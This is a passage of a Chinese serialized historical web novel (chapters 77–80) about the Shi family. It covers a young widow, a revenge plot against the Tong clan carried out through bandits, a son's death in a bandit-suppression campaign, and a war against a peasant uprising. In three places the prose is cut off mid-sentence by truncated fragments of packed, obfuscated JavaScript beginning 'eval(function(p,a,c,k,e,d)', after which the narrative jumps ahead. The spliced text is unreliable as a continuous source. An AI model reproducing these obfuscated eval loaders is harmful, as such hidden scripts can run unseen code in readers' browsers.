师霖暗暗松了一口气,接着道:“我打算往西边走走。” “可以啊。”端木萌在脑海中想了想地图的样子,道:“我想去易州看看。” 师霖点了点头,“于崇山峻岭中有沃野千里,是个好地方。” “我只是说去看看,又没说就要到那里定居。那里是什么样子我还不知道呢,据说易州气候湿热,饮食辛辣,若是不适应,我还是要走的。” “那都无妨。如今你我都是自由之身了。”师霖显得很轻松的样子。 端木萌却总觉得心里不能完全放下,但又一时想不起来什么事,只当是端木婉方逝,自己也未能调理好心情。想来出去走走大概就好了。 端木萌仔仔细细在心中又过了一遍家中众人,终于想到了点问题:“不过,陈氏和六哥儿,你打算怎么办?总不能一辈子叫他们待在那庄子里罢?”虽说妾室与庶子女原该主母负责管理,但她一想到此事心中就别扭,便完全由师霖处理,自己只当看不见罢了。 “我已叫人去问她的看法,她的意思是,想换个身份,离开师家,向我们讨一笔钱财好安身。孩子她想带走,改随她的姓。” 端木萌闻言叹了口气,道:“既然这样,你便写了放妾书,将事情都处理妥当。孩子想来是她的依仗,强留在师家,对他也不一定是好事。只是她一个独身女子带着一个孩子在外面一定艰难,不如命人暗中照看帮衬。” 师霖点了点头。 端木萌又喝下一杯酒,胃里暖洋洋的,又有些隐痛。“我们何时启程?” “收拾收拾......十日后罢。” “不留下再过一个年了么?” “也没什么必要,徒惹些人情往还。” “也罢。那我便回去着手收拾了。”端木萌起身,拿起灯,又回头看了他一眼,道:“天越发凉了,你也莫要在这里待太久了。” “好。” 师薇欢和宁碧水各捧了一盆蔷薇花苗,倚着篱笆仔细栽好。这两盆蔷薇是她们方才逛庙会时在一个瞎了一只眼睛的老婆婆手里买下来的,也不晓得具体是什么品种,倒隐隐让人期待起来。 这些事情在师家时她都不太留心,自己种起来才觉得麻烦。不过以她如今的日子之无聊,她倒是愿意多来点这种麻烦,好让时辰好打发一点。 虽已成婚半年有余,但当初不满一个月,她的新婚夫婿刘整就外任到岭南去跟着她大嫂的父亲、刑部侍郎言陵去了岭南查一桩矿案,到如今还未结案。据说年前的时候新任刑部尚书宋汤亲自去了岭南督案,也没有什么大的进展。 她这位夫婿刘整,家世并不显赫,祖上皆是务农出身,到了刘父有幸当了个主簿,但也一辈子只当了个主簿。不过刘整从小写得一手好文章,被县令向上层层举荐,因而有了去太学的机会。因为为人忠厚、做事认真,一次偶然,获得了祭酒韩圭的赏识,并与任太学学录的燕寂相交,后因燕寂的关系,才得以被师霖看中,招他为婿。 刘父刘母早已去世,原本师霖和端木萌的意思是想招他做上门女婿,正好把这个从小不在身边的小女儿留在膝下,还是师薇欢以担心伤其自尊为由拒绝了。如今她住着的这处京城正中偏东的二进宅子,虽说不是很大,但地段上佳,且与韩圭为邻,便是师霖为她物色的嫁妆之一。而他们成亲的一应事宜俱是端木萌出资操办,师薇欢如今的日常开销也是来自她比师棠欢多上三分的嫁妆。 刘整的确是个老实人,老实到新婚夜她说身体不适,他便主动抱着被子在窗下和衣而眠,次日更是主动搬到了书房去住。她也懒得计较刘整对这桩婚姻到底是什么看法,乐得不用侍奉公婆夫婿,带着宁碧水清闲度日,偶尔能收到来自泉郡的信,思念一番,日子甚是闲适。 “如果一直这样,其实也挺好的,是吗?” 师薇欢躺在院子里的躺椅上,一旁的两棵桃树已经缀了漫天粉云,时不时有三两花瓣落在脸上,似乎还带着点点花香。 宁碧水仍旧没有开口说话。 师薇欢闭着眼睛,过了好久,悠悠叹气,道:“我晓得,要给他们报仇。偃哥哥也一直为着这件事。可是就算我们真的报了仇,之后呢?”她也不再看宁碧水,兀自想了好久,也没有什么思绪,烦恼地摇了摇头,拿着帕子盖在脸上,沉沉睡去。 泉郡。 “哎呀小韩呐,这几船货能卸下来,可是多亏了你啊。”郭海一把捞过韩偃的肩,拍了拍他的肩膀,道:“今儿这庆功宴,你要不去,咱弟兄们可都不敢动筷儿了。” 见他把话说到这份上,韩偃也就不再推脱,道:“既然这样,那就恭敬不如从命了。” “这就对啦!”郭海高兴地带着他一路到了酒馆,他那帮海匪弟兄们早已经等在那里,足足二三十个人坐了五六桌。老板娘显然也是熟人,已经把菜上了一半。 “鲁嫂子,再拿坛好酒,我们今儿要给新来的弟兄庆功!” 韩偃忙道:“不敢不敢,海大哥,饶了我吧!” “诶——磨磨唧唧的,我又没拉你入伙,再推脱,可就是不把我当兄弟了!” “怎么会!咱们也是过命的交情了。”韩偃接过郭海倒的酒,一仰脖,直接喝干了一碗酒。周围人登时拍掌叫好,都是豪迈的汉子,一个个也都端了酒来要敬他。 酒过三巡,众人脸上都带了些醉意,各自划拳吃菜,三三两两,好不爽快。 郭海足已喝了半坛多酒,脸上也带了些醉意,口齿也变得有些模糊,拉着韩偃道:“好兄弟!我知道你是有志向的人,不然绑也要把你留下来了。你究竟要做什么,要是能有我帮得上的,也好还了你这次的恩。” “海大哥,实不相瞒,京中有户人家,于我有灭门之仇。我如今所愿也只是复仇罢了,奈何那户人家,家大势大,轻易动不了他。” “这有何难!那皇帝老儿不肯管,自有咱们道上兄弟的管法!” 韩偃一边装醉,一边故作惊讶:“这咱们兄弟要如何管?” 郭海从怀中拿出一块木牌,重重砸到他手心,道:“你拿着这块牌子,到京郊鹿首山,去找他们那领头的叫黄休的。” 韩偃摸了摸手中的木牌,离席跪在地上给郭海行了一礼,道:“大恩不言谢。海大哥,若我大仇得报,来日必将舍命报答。” “哎,咱们这儿不兴命不命的。”郭海把他扶起来,道:“干我们这行的,指不定哪天这命就还给老天爷了。你这一走,来日若能再见,就是你我兄弟有缘了。到时候你再陪我喝次酒就算报答我了。” 师薇欢成亲八个月,收到了一封家书和一口棺材,然后成了寡妇。 师婷欢匆匆赶过来,看她神情恍惚,心疼得要命,二话不说把她接回了师家。言晓风步成安官闻霰还有成绰仙围着她安慰,连端木槿都冷着脸过来看了她一眼,虽然扔下碟炸奶酥就走了。 夜里师婷欢陪着她睡,听见她终于有动静,很激动盯着她看,却发现她只是面无表情地下床喝了口水,心里顿时也被浇了盆冷水,担心得睡不着,第二天早上抱着她道:“妹妹,没关系,想哭就哭罢,你如今在自己家,想做什么都行。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出嫁过了,哪怕回来了,真的还和原来一样吗? 回家了,就算师父师叔、师兄师姐都还在,真的会和小时候一样吗? 步成安带着师令闻和师步蹲在墙角,师令闻小小声道:“二婶婶,二婶婶,小姑姑是不是哭了?” “没有吧......” “但是她看上去好难过,为什么不哭呢?” 步成安不知道怎么回答。 她心里清楚,以师薇欢这个样子,绝对不是因为心爱之人离自己而去而难过——她大概从来就没有爱过刘整。她娘家妹妹步宁宁当初第一个未婚夫婿因为镇压起义而死的时候,那个样子她能记一辈子,但绝对不是师薇欢现在的样子。 她大概只是很恍惚。 匆匆就嫁了人,匆匆又守了寡,谁能不恍惚呢。 “闻姐儿,你这几天带着你弟弟多去陪陪你小姑姑,不要问她什么事情,去拉着她一起玩,一起吃好吃的,就行。不要让她闲下来。她要是想哭了,就让她哭,你们给她递手帕就好了,好不好?” 师薇欢抱着怎么哄都哄不好哭的震天响的师子瑜的时候,只觉得幸好她还没生孩子。 虽然是寡妇,但是没有“拖油瓶”。这么算起来,除了听上去不太好听,她现在没有公婆夫婿要侍奉,也没有夫家人需要应付。就算日后她这些哥嫂们都死了侄子们没良心不管她,靠着嫁妆她也能活的好好的,而且钱都是她自己的,想怎么花就怎么花。 听起来比刘整没死好得多。 说不定比没出嫁也要好,这世道夫人们还是要比姑娘们好活一点的。 至于报仇一事,多一个刘整少一个刘整,于她也无差。 开弓没有回头箭,什么出嫁前、回家前,管它做什么,活好今日,再琢磨琢磨明日,就好了。 “她这是好了吗?” “应该是好了。” “大嫂嫂,明天早上还有白糖糕吃吗?” “不行,吃多了蛀牙。” “哦。那你哄瑜哥儿吧。” 78.第 78 章 夅州。 最先发现童氏惨案的是送菜的老伯。 童氏在夅州的四房连同前两年被送回来的童扬,以及全府上下的侍从皆被乱刀砍死,死状惨烈,血流成河。 事发突然,且又事关重大,夅州太守自不敢自行处理此事,便勒令封锁童府,上报朝中处置。京城童氏的人知晓此事后自是哭天抢地,悲痛不已。童有贤带着许氏穿着朝服到刑部喊冤,奈何岭南矿案一事未平,宋汤与言陵皆未归京,便是时任刑部主事师焕接手此事。 事关几十条性命,师焕一时也没有对策,只能先将童有贤和许氏安抚好,送回府上,再入朝请求奏对。 “夅州太守着人送来一枚鹿首梭镖,说是在童府府门上插着的。臣已查知此乃京郊鹿首山山匪所惯用的梭镖,行凶后将此物留下当作信物也是他们的习惯。” 端木玦接过那枚梭镖看了看,道:“你且暂领兵部主事,带人走一趟夅州,将此事完整查明。若确认是鹿首山山匪所为,便以此为由出兵剿匪罢。” “臣领旨。” “明日一早便要走么,怎会这般急?”言晓风皱着眉,看向师焕,手上却没停下,有条不紊地帮他收拾着东西。 “事关重大,既然夅州童氏四房遭此不幸,难保贼人不会继续对童氏在京城这一房动手。”师焕叹了口气,看到院子前面池边和哥儿姐儿喂着鱼的师薇欢,微不可察地皱了下眉,问言晓风道:“七妹妹这些日子都在家中吗?” “是吧。除去熙安县主生辰时,二妹妹回京那几天,跟着她一起到林府转了转,此外便没出过门。怎么了?” “没怎么。只是童氏的事,总让我想到江浪观一事。但愿是我多心了。” 言晓风停下手,皱眉道:“你不会怀疑是七妹妹做的吧?” “没。只是我记得先前她曾向三叔引荐过一个男子,好似也是江浪观的人。三叔将泉郡的一笔生意交给他处置,事后还曾向我们提过一嘴,称赞那人办事利落。但那件事了了后似乎那人也便没有再为师家做事了。” “即便与那人有关,也与七妹妹无关。她如今年轻守寡,已是艰难。” “我晓得。”师焕眼神暗了暗,“放心,即便真与她有关,也可以无关。” 言晓风闻言没有说话,细长的柳眉似颦非颦,她垂下眼帘,慢慢伸手重新开始叠着衣裳。 她其实希望师焕能在朝中做个不大不小的官,而不是像父祖那般于庙堂高悬,不敢行差踏错一步。甚至她私心希望他能自私些,不要为着师家、为了弟妹子侄而什么都不顾。她也曾委婉与之说过,可师焕听了,却笑道:“你也未曾为自己多考虑过,怎么能要求我呢?” 她太怕师焕不顾一切了。 他平素为人端直,可心底却是个极热忱的人,这热忱支撑着他的端直,却也使他偶尔显得不那么从容冷静,甚至让他像个愣头青一样横冲直撞。 他像把磨得过于锋利的刀,锋利到容易剑走偏锋,或者彻底失去控制。 尤其是关于师家的一切。 师家给予了他许多,但要他承担的更多。 “你此行会遇到的,都是凶恶之徒,与朝中那般唇枪舌剑、明争暗斗不同......你毕竟不是武将,不要以为,自己会些骑射就可以冲锋陷阵了。遇事多加小心,千万别冲动。” “你放心。”师焕看出她的担心忧虑,但只当她是担心自己查案剿匪危险,俯下身与她额头相抵,手掌放在她的小腹上,道:“我会平安回来的,在这个孩子降世之前。我已经想了好多名字,男孩儿女孩儿的都有,写名字的纸就放在枕下,你有空也选一选。” 他顿了顿,嘴角牵起一抹有些促狭的笑意,道:“不过莫要夜里点灯看,伤眼睛。” 言晓风闭目,忍住眼泪,再睁眼时满眼都是湿润的笑意,想开口时却又哽咽。她抬手慢慢抚摸着他的眉眼和脸颊,轻轻“嗯”了一声,便再也忍不住,扑在他怀中抽噎,又很快挣扎着离开,径自转身跑走了。 师琦终于得中武举,得以授官,赴任前带着成绰仙亲往易州拜谢看望师霖和端木萌,正巧端木萌近来对易州季氏的一位公子青眼有加,觉得他风流倜傥而又品行端正,家世又可堪匹配,一想到家中师幼芷刚好出了孝期又还未许人,便叫师琦将自己的两个妹妹也一并带到易州去。 师薇欢守寡还家的这些日子,除去被嫂嫂们安排陪着侄子侄女们玩儿,就是和师幼芷师幼桐姐妹三人待在一处,这会儿她们两个走了,也觉无聊,便向兄嫂们告辞,顺了师令望一只三色狸奴和师步的两只兔子,还有师迟的一对儿鸽子,愉愉快快地带着宁碧水回了自己的小院子。 回去的时候她还特意绕路去了趟采珠巷,发现那处院子果然落了锁,新下了然。师言前些日子领了涯州兵马司主事,却并未带着端木槿走,她心下便有了猜测。 她当初也曾好奇过端木槿为何一定要嫁给师言,毕竟师言娶她有利可图,但对她来讲除了一个正妻之位外什么也没有。但归家的这些日子,她仔细留意下来,竟发现这位心高气傲的和宁郡主似乎是真心爱慕她这个四哥,于是乎哪怕清楚他不爱她,也一定要得到他。 难以想象若是有一日她知道了竹江月的存在会做出什么,师薇欢看着那锁暗叹道。 这般想着回到自己的小院,甫一下马车,便看见一个熟悉的身影站在院中。师薇欢眼睛蓦地一亮,顾不上霎时湿了的眼眶,提起裙子跑得飞快。 “偃哥哥,你回来了!” 师玘调任沉州通判已有月余。 接到调任沉州的消息时有多神清气爽,如今他就有多垂头丧气。本想着沉州处处可以重新“大施拳脚”,却也忘了这里到处都是师霖的眼线。师霖倒是很贴心地等他操弄起来的第一桩生意完全落地,才写信予以“警告”,还把官闻霰请到了沉州“监督”他。 “大人,夫人的马车进城了!” 师玘应声起身,颇无奈地叹气出门,眼角眉梢却是满带笑意,脚下步子也快得生风。 “我瞧着大人这个样子不像是不喜欢夫人过来啊。” “你懂什么,我们家大人和夫人青梅竹马,两小无猜,感情好着呢。” “‘青梅竹马’不是这么用的。”师玘无奈回头瞪了一眼“一不小心”说得太大声的宋萧,宋萧却也瞪大眼睛道:“怎么不算青梅竹马,大人和夫人自小认识,从前夫人哪次过府找姑娘们玩儿,大人没找理由去‘偶遇’夫人?” 师玘抿唇不语,只是把头扭回去不再理他,脚下步子又加快了些,脸颊耳梢都悄然红了个遍。 可还没有最红。 宋萧后来与人讲,夫人下马车时,明眸皓齿,绿衣如云,荣曜秋菊,华茂春松,简直是仙人下凡,端然巧笑,目若繁星,又似神女降世。彼时师大人的耳朵才算红了个彻底,待到挽上他家夫人的手双双归家时,脸上的笑藏也藏不住。 有没亲眼见过官闻霰的再三询问,宋萧立刻吹胡子瞪眼:“夫人的容貌举止,但凡见过的,哪有不心悦诚服的。况且夫人的父亲是谁,那是名动京城的官二公子,宠冠六宫的平卿贵妃的侄子,人称‘周郎转世’。当年京城的公子论起容貌,师三公子排第一,官二公子排第二,旁人只能争个第三,哪有人敢质疑。” “那么,师大人的容貌也不差吧?” “那自然,我们大人和夫人,那就是郎才女才、郎貌女貌,天造地设!” 官闻霰到了沉州后,不说别的,师玘在家里的日子都跟着顺风顺水了些,连端木萌派给他煮饭的嬷嬷对他脸色都要好得多。官闻霰就像一阵春风,又或是一股清泉,不疾不徐而又刚柔并蓄,不动声色地就化解了所有矛盾,连带安抚了所有原先被师玘的冷脸兼“不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈案之咳嗽了两声,道:“陛下,现在不是逞强的时候。此时倾我朝国力,虽可战胜诺依,但倘若北边或是东北趁机来犯,我朝将再无余力与之抗衡。一时示弱,却能换取休养生息的机会,来日也可再徐徐图之。” 端木玦翻着户部的奏表,良久,长叹了一声,道:“传旨,太学监正白束道升为礼部主事、翰林学士,持节主与西南诸部议和一事。副都指挥使成巳领卿州太守,随行护卫。原卿州太守刘票改任郁州太守。” “陛下英明。” “矿案一事也快了了,朕听闻右谏议大夫唐允于此案效力颇多,又熟悉西南一带风土人情,便叫他先留下,协助议和之事罢。” 吴称一顿,道:“臣听闻,屏南侯李安楠于矿案一事也效力颇多。” 端木玦着意看了他一眼,道:“屏南侯食邑昔年累加已超律例,不如便再给新宁大长公主加三百户食邑罢。” 吴称只得低首称是。 端木玦想了想,又道:“燕学士是为国效力而死,待其灵柩回朝,着礼部安排祭奠,追赠其礼部侍郎。” 吴称道:“燕学士的夫人是云和大长公主与阳曲侯之女,其夫此番又是因国事而亡,陛下不妨赠其县主之位,以表慰藉。” 端木玦心中忧虑的正是此事,闻言便道:“就按左相所言罢。朕记得,云和大长公主幼女的夫婿是因为矿案一事殉职,便一并赠与县主之位罢。” “陛下!”吴怀安匆匆入殿,道:“鹿首山急报。”说着将其呈上,又匆匆退下。 沈案之心中思忖,鹿首山剿匪一事,远不是需要用到急报的,便凝神观察端木玦神色,见其似是先喜后忧,心中一紧,还没来得及再细想,端木玦便将那信掷在案上,示意二人去看。 鹿首山匪患尽除,匪首三人当场身亡,余下亡十六人,俘三十七人,其中有二人系泉郡海匪。朝中将士伤者二十三,阵亡者十一...... “师焕丧仪一事,也一并交由礼部处理罢。” 79.第 79 章 师家再换缟素。 “二夫人,大姑奶奶回来了。” 闻得侍女耳语,步成安愣了一瞬,转而很快起身,看了眼跪在灵前正中的师迟,转身出了灵堂去接师婷欢。 师霖与端木萌先后闻得二人死讯,便先后病倒在榻,只能在易州养病,所幸还有师幼芷和师幼桐在身边照看。师玘、师言和师琦等都甫才自各地赶来,风餐露宿,又大哭过一通,此时皆是默然跪在灵前,连呼吸声都几不可闻,只听得见灵前纸钱燃烧的声响,与堂外淅淅沥沥的雨声和远处时断时续的幼子的哭声混在一起,像一片泼洒开来的浓墨洇在众人心里。 蓦地,师迟起身,冷着一张脸,一言不发地转身向外走了出去。师玘等愣神间,师迟消失在了雨幕里。 “你做什么去?” 迎面撞上被步成安扶着的师婷欢,师迟木雕般的脸活动了两分,顿住脚,道:“我去求见今上,参军剿匪。” 步成安问道:“如今剿什么匪?” “......海匪。鹿首山的山匪已被歼灭,那泉郡的海匪却还逍遥法外。我要去将他们剿了,为大哥报仇。” “啪”的一个巴掌打在脸上,师迟愣住,木然看向双眼猩红的师婷欢。 师婷欢浑身颤抖着,几次开口却又失声,指着师迟说不出话。步成安被她这样子吓了个半死,忙命人倒来茶水,又为她顺气,半晌,才听得她骂出声来:“你,你这混账!大哥哥才为了剿匪死了,你当你是什么人,又要去以身涉险!你若要去杀人解气,先给我来一刀也罢!” 步成安劝道:“大姐姐,别说这般气话!我们先去里面——” “我意已决。”师迟沉沉道,“大姐姐,我既选了习武,早晚是要上战场的,于公于私、于国于家,不过是一个理由的差别。你和爹娘不也一直盼着我能有出息么。”他又看向步成安,步成安没有说话,只是轻轻点了点头。他感激地笑了一下,侧身绕过师婷欢,径直出了家门。 师婷欢看着前面陆续追出来的几个弟弟和妹妹,眼前的人影越发模糊重叠,终于眼前一黑,彻底失去了意识。 师薇欢喂师婷欢喝过一次药,见师棠欢小憩完过来顶替她,交代了几句便出了留华轩。 傍晚雨已经停了,天却还阴着,教人分不清是乌云还是已然日暮。 宁碧水等在檐下,见她出来,轻轻点了点头示意。师薇欢叹了口气,只吩咐她找个地方去歇息,自己去灵堂外看了一眼,便趁着侧门落锁悄悄出了门。 “是你告诉了我二哥海匪的事。” 韩偃不置可否,满目坦然。 师薇欢蓦地摔了递到她面前的茶杯:“我说过,报仇归报仇,不要想着拿我家的人当垫脚石!” “这怎么是拿你家的人当垫脚石?”韩偃不紧不慢地蹲下身去,收拾了地上的碎瓷片,道,“你大哥是被鹿首山的山匪一箭射死的,至于你二哥,我只是提醒了他一句,被俘的人里有两个是泉郡的海匪,仅此而已。至于他要做什么,完全与我无关。” 师薇欢浑身冰凉,看着眼前的人,突然觉得陌生和恶寒:“你说过泉郡的海匪首领与你有过命的交情,甚至还差点拜了把子......” “那只是为了借人杀掉童扬。” “可是,可是......” “没有可是,小薇。”韩偃叹道,“即便我什么也不做,朝廷早晚也是要派人剿匪的,不是么?至于,派谁去,去剿谁,根本不是我可以干预的。” 他扶着师薇欢到榻上躺下,道:“你只是太累了,这些日子在燕府和侯府两头奔波。不要想那么多,睡一会儿罢,正好睡到明早,我会及时叫醒你,送你回去的。” 师棠欢在师婷欢身旁打了一夜盹儿,清晨醒来随便喝了碗参鸡汤,往脸上胡乱拍了些凉水醒神,收拾了一下便打起精神往前院去。给师焕上了柱香,还未来得及再难过,便被官闻霰拉着去看言晓风。她自闻得噩耗便晕倒了,腹中的孩子好险才保下来,却下不了榻。想是怕醒了就会想起来,大部分时候都只是昏昏睡着,饭也吃得颠倒,整个人几乎就是用药吊着活。 看完了言晓风,那边师婷欢又醒了,她匆忙回了留华轩,听御医说师婷欢没有大碍了,才又放下心来。一通忙活下来,她才发觉自起来后就没见到师薇欢,从留华轩出来,往东侧门外一瞥,却霎时如同脚下灌了铅一样定在原地,反应过来后,只来得及趁人走进来前匆匆转身跑开。 及至用了午饭,众人大多去午歇,她才敢叫住师薇欢,一路拉着她回了留容轩的厢房。 “你和那个韩偃,是怎么回事?你们——” “你想问我们有没有私情,是吗?” “我,我不是这个意思。”师棠欢被师薇欢冰冷的样子吓到,一时竟在这个妹妹面前感到有些无措。 师薇欢叹道:“如果你想问的是这个,那答案应该是‘是’罢。” “什么叫‘应该’?” “其实当年在观中的时候,我们两个就私定终身了。”师薇欢笑了笑,讲道:“我曾经也想过,那是小孩子的把戏,什么也不懂,听了些庙会上的故事就胡乱学了去。但是爹娘让我和刘整成亲的时候,我突然发觉,想到嫁人生子,我只能想到韩偃。” “可是当时你答应了——” “是,因为那是爹娘的话。爹娘为我择刘整为婿,完全无利可图,仅仅是担心我自小不在家中长大,倘若嫁的人家人口复杂,夫家人刁难算计我,我无法应付。彼时韩偃又与我断了联系,我也无人可以商量,为什么不答应他们呢。就算我与他们说,我要嫁韩偃,他们又怎么会答应呢。” “但是你既然答应了嫁给刘整,你也的的确确嫁了,那你就该,就该从一而终。”师棠欢只觉得心烦意乱,“你怎能一边嫁给一个人一边心里又念着其他人呢!像我,像大姐姐,我们——” “你只是有幸,姐姐。”师薇欢一字一顿,道,“你,还有大姐姐,还有二哥,你们有幸,可以选的和想要选的恰好是一个人。大哥也有幸,即使成亲前都未曾认识,但好在两个人彼此契合,相敬如宾,举案齐眉。可是并不是人人都这般有幸。这天下,有多少人是在根本不情愿的婚姻里忍耐,甚至相互怨怼。” “他们可以——” “他们不可以!农户人家出来的人,成亲生子,是因为需要更多的劳力务农。至于我们这些官宦人家的子女,姐姐,我不信你不晓得。”她背过身去,缓了两口气,放缓了语气接着道:“这世上,男子如若婚姻不如意,还可娶妾、养外室、逛青楼,甚至可以休妻再娶。可女子呢。女子只能忍,只能熬。多少女子熬到死都等不来和离书,甚至许多女子自小被那些乱七八糟的大道理规训,都不敢提出和离。这样的不公,这样的境遇又是为了什么呢。” “可是我们自幼学的就是,就是......” “这就是那些大道理。”师薇欢叹道,“就连我们都仰慕过的那个人,她也是这样,被困在这里面一辈子。我常常在想,那之后她明明哪里都可以去,为什么还是去了归县呢。你与她相处的比我多得多,她坐在似乎天下女子都仰望的那个位子上,可她真的快乐吗?” 她转头看了看低头沉默的师棠欢,惨笑了一声,接着道:“这般比起来,我也算有幸罢。其实刘整的确是个良人,至少他不会欺侮我,甚至不敢稍稍违逆我,因为他的前程完全依赖爹爹,依赖着我。他本身也是个好人。如果他活得久一点,也许我们可以试着做大哥大嫂那般的夫妻。可他既然已经去世了——已经去世这么久了,我难道要为了他守寡一辈子吗?” 师棠欢默然地留下泪来,却只捂着嘴不说话。 师薇欢看向窗外,天晴了,满院白绸晃的人睁不开眼。 “等到孝期结束,如果我想,我会嫁给他。初嫁从父,再嫁从己,没有人能阻拦我。又或许,我彼时只想一个人过活,谁也不想嫁了,那也只是因为我不想而已。” “如果有一日你也不喜欢你的婚姻了,我希望你可以有勇气离开。我永远希望你快乐。” 师迟于泉郡剿匪立功,得授兵部主事,领西南团练使,回京时又随军歼灭了一伙流匪。正逢河间诸县有农民起义,已占领数郡县,如今直攻宛城。遂授之以宛城守备,持符前往增援。 “我要与你同去。”步成安道。 “好。”师迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师霖与端木萌在友人家中与客栈先后住了三个多月的功夫才敲定下来这处位于城外柳溪旁的宅子,宅后的院落一直延伸到小溪旁,坐在瓜架下的藤椅上,即可看到溪水自远方山脚一路潺潺地越过田野,一直流到身旁。 师幼芷出嫁后,这处宅子便只有师霖、端木萌和师幼桐还有两三个侍从一起住着,清净得很。偶尔有旧友自城中来访,或是师幼芷回来探望,也只热闹一时而已。 午后下了一阵细雨。师幼桐坐在廊下为姐姐将要出世的孩子绣着肚兜,行湘在旁边帮她整理花样子。端木萌坐在她对面一个一个擦拭着她新收集来的茶碗,直到雨停,才站起身直了直腰,走到院中照例亲自侍候她的宝贝月季。 师霖刚把帮朋友整理的诗集给他送过去,淋着雨回来,换了身衣裳,在端木萌这儿讨了口热茶,站在廊下远眺了一会儿风景,第无数次叹道:“啊呀,就在这儿住上一辈子也好啊。” 端木萌白了他一眼,顺手扶好瓜藤,盯着架子瞧了一会儿,还是觉着不妥,便叫行湘去把在不远处溪边钓鱼的袁例叫了回来加固瓜架子。自己收拾好花具,顺着石板路走回来,摸了摸他还有些湿的头发,叹道:“病还没好利索,就敢淋雨回来,我看你真是活够了。昨晚上还对朝中的事忧心忡忡,这会儿又装起隐士来了。” 师焕与燕寂的英年早逝,几乎打乱了师霖原先在朝中的大半布局谋划。他原本希望师玘肯松口回京,他便可以叫人运作,将他安排进翰林或六部,过上几年便可进中枢,然而师玘一遇上此事就装聋作哑,宁可告诉他沉州宅子里的花今天谢了几朵都不肯稍稍答应。如今他倒也不想难为师玘,只天天拉着端木萌猜师迟此番去宛城能建立一番功业的可能性有多大。 “要我说,许是老天爷的安排,不然焕哥儿和女婿怎会走得那般巧。”端木萌大病一场后,倒是似乎看淡了许多,“你好不容易退下来了,又何必叫孩子们再去被折磨一通呢?能在地方任上有一番建树不也很好么。” 师霖却叹道:“我虽退了下来,可师家仍被架在那里。这么些年到如今,连我也算不清指着师家吃饭的到底有几张嘴了。一旦有失,覆巢之下,安有完卵呢?” “不是还有私兵在么,怕什么。” “不过比寻常人家的护卫多些身手和器械罢了。若论做密探的功夫,仍是万万比不上今上自其父手中继承来的那些人的。而若有一日真要用得上私兵,那真是到了鱼死网破的地步了。”师霖叹道。 “不过我看迟哥儿的信上,先前薇儿与你引荐的,名叫韩偃的那个,此次也跟着他去了宛城,似乎颇有一番才干。兴许可以举荐他入朝呢?” “且等宛城的事都结束了再说罢。” 80.第 80 章 韩偃去宛城投军一事,师薇欢也未曾先晓得,若是知道他不留在京城,她倒是真想跟着四哥去涯州走一走了。 留在京城,除去帮着嫂子们理事,还要往各家赴宴应酬,而这便几乎免不了看见童氏的人。虽说童扬和夅州童氏的人都已被杀了,可京城这些真正的罪魁祸首仍在肆意逍遥,承诺重建的江浪观虽说看着师家的面子建好了,可那童绮却还在外头寻欢作乐,连一点样子都不肯装,甚至好像完全忘了这桩事。 每逢此时,她便觉得自己“安稳便好”的愿望实在是愧对冤死之人,恨不得与童氏血溅当场。可若细细思量起来,除了像韩偃那般借刀杀人,她却也想不出什么能轻易断人生死的法子。 “断人生死?坐在最上面那个位子上,就可以了。”端木槿听了她的疑问,漫不经心道。 师薇欢讶然,后知后觉自己竟嘀咕出声,但顺着端木槿的视线向高台上看去,曹唤容坐在端木玦身侧,雍容端庄,“当皇后吗?” 端木槿却摇了摇头,“皇后还差点意思,虽说是‘并肩而坐’,实际上差的可远了。” 师薇欢浑身一凛。 端木槿晃着手中的酒杯,拄着半边脸随意地看着台下的琵琶,这会儿独奏的正是尚音局的孙大家,好似已经忘了方才说过的话,眼中多了几分赞赏的意味,点评道:“这么好的琵琶,也就只有她配弹了。” 师薇欢却看着她那双冷酒一般的眼睛愣了神。好在端木槿压根没在意她的动向,像是在认真听琵琶,又像是已经醉了。 良久,师薇欢也似是醉了,迷蒙的歌舞中,她转头看向高台上那个位子。 曹唤容的与之比起,的确还要差的远。 这一战打得无比艰难。 宛城守住后,师迟等又受命乘胜追击,意在将河间这一股势力一举歼灭。 “钱良一行人既能占领诸郡,自然并非小打小闹,要想彻底歼灭,必然不是易事。” 但既已接旨,师迟便马不停蹄地安排下去。遂使步成安率少部分人马及众伤兵留守宛城,自己与师琦等分兵两路,自西北、西南两个方向分别进攻新安和宜县,再合兵顺势攻打霍阳。 新安地处宛城下游,布防也较为薄弱,因而师琦带人不过用了十余天便完全占领了新安。宜县易守难攻,师迟等费了一番功夫,却也按时将其拿下。然则到了霍阳,起义军显然做好了准备,调集周围诸郡县流民散兵修城、守城,守将又是起义军首领钱良的侄子钱程,几乎调了义军一半的剩余兵马至霍阳,又有一队人马自后偷袭宛城,意图使师迟等腹背受敌。 所幸端木玦又派参将尤谆领两千兵马至霍阳统归师迟调遣,师迟遂使尤谆携人绕至霍阳城西,先攻枢县,断了起义军如今的大本营安阳至霍阳的补给,又令师琦至城东北方断其水源。自己与副将杨典分别自霍阳城东、南两个方向慢慢逼近。 “钱程为人狡诈,但擅奇攻。论起防守,倒远不如钱良。如今他们的粮草兵械都已耗损大半,这般下去,不出半月,想来他们就耐不住性子了。” 谁曾想便是这般信心满满,竟惹得他们大意轻敌。围城第十一日夜里,那钱程使人趁夜色自北门潜出,绕至城北山中,自山上向下偷袭驻守在水边的师琦一干人。师琦防不胜防,只来得及派出两个人去禀报师迟,自此便断了音讯。 师迟闻得消息,立刻便要带人去救,却被杨典等死命拦住,劝道:“如今已过了半日,即便去救,那边也早尘埃落定。合该趁此机会直接攻城才对!” 师迟红了眼睛,恨声道:“可是那是——” “战场上岂能论父子兄弟?若是因妇人之仁耽误大事,来日才有的是您后悔的时候!”杨典厉声道。 